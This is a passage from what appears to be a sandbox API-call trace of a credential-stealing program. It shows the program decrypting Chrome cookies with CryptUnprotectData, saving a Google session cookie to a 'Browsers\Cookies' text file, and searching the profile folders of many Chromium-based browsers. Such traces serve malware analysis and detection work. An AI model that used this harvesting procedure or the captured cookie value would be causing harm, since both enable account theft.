lpNumberOfBytesRead=0x18d1f8, lpOverlapped=0x18d1bc | out: lpBuffer=0x45317e0*, lpNumberOfBytesRead=0x18d1f8*=0x400, lpOverlapped=0x18d1bc) returned 1 [0061.502] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18ced8 | out: lpOverlapped=0x18ced8) returned 1 [0061.502] LockFileEx (in: hFile=0x440, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dbb0 | out: lpOverlapped=0x18dbb0) returned 1 [0061.502] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dba4 | out: lpOverlapped=0x18dba4) returned 1 [0061.502] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dbb4 | out: lpOverlapped=0x18dbb4) returned 1 [0061.502] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451c628, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0061.502] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\119917831523496827418.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18dbb0 | out: lpFileInformation=0x18dbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.503] GetLastError () returned 0x2 [0061.503] ReadFile (in: hFile=0x440, lpBuffer=0x18dc34, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x18dc1c, lpOverlapped=0x18dbe0 | out: lpBuffer=0x18dc34*, lpNumberOfBytesRead=0x18dc1c*=0x10, lpOverlapped=0x18dbe0) returned 1 [0061.503] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x451c66f, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 67 [0061.503] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\119917831523496827418.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18dbc8 | out: lpFileInformation=0x18dbc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.503] GetLastError () returned 0x2 [0061.503] ReadFile (in: hFile=0x440, lpBuffer=0x4531340, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x18dbe8, lpOverlapped=0x18dbac | out: lpBuffer=0x4531340*, lpNumberOfBytesRead=0x18dbe8*=0x400, lpOverlapped=0x18dbac) returned 1 [0061.503] CryptUnprotectData (in: pDataIn=0x18df04, ppszDataDescr=0x0, pOptionalEntropy=0x0, pvReserved=0x0, pPromptStruct=0x0, dwFlags=0x1, pDataOut=0x18df0c | out: ppszDataDescr=0x0, pDataOut=0x18df0c) returned 1 [0061.550] LocalFree (hMem=0x6a2770) returned 0x0 [0061.550] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18db98 | out: lpOverlapped=0x18db98) returned 1 [0061.550] SysReAllocStringLen (in: pbstr=0x18e124*=0x0, psz="accounts.google.com\x09FALSE\x09/\x09TRUE\x091559699608\x09GAPS\x091:ti0nRi7tftVDbDxsySeO1PWDfkMfAQ:458ESlL7xDuQSGP-\r\n", len=0x64 | out: pbstr=0x18e124*="accounts.google.com\x09FALSE\x09/\x09TRUE\x091559699608\x09GAPS\x091:ti0nRi7tftVDbDxsySeO1PWDfkMfAQ:458ESlL7xDuQSGP-\r\n") returned 1 [0061.550] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\119917831523496827418.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\119917831523496827418.tmp")) returned 1 [0061.551] CharToOemBuffA (in: lpszSrc="Browsers\\Cookies\\GoogleChrome_Default.txt", lpszDst=0x42a8d34, cchDstLength=0x29 | out: lpszDst="Browsers\\Cookies\\GoogleChrome_Default.txt") returned 1 [0061.551] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x42a8da4, Length=0x64) returned 0x912dd03 [0061.551] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0061.551] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0061.551] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0061.551] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0061.551] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0061.551] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0061.551] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0061.551] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1 [0061.552] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1 [0061.552] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1 [0061.552] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1 [0061.552] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0061.552] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0061.552] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0061.552] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0061.552] FindClose (in: hFindFile=0x68d540 | out: hFindFile=0x68d540) returned 1 [0061.552] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x6fa6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x49 [0061.552] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.552] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.552] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.552] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x6fa6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\") returned 0x3c [0061.552] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.553] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.553] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.553] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x6fa6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x4c [0061.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.553] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.553] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.553] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x6fa6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x45 [0061.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.553] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.553] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.553] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x6fa6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\") returned 0x3d [0061.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.553] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.553] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.553] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x6fa6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x3f [0061.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.553] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.553] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.554] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x6fa6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\") returned 0x3f [0061.554] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.554] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.554] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.554] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x6fa6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\") returned 0x40 [0061.554] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.554] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.554] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.554] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x40 [0061.554] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.554] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.554] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.554] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", lpDst=0x6fc6f4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x40 [0061.554] FindFirstFileW 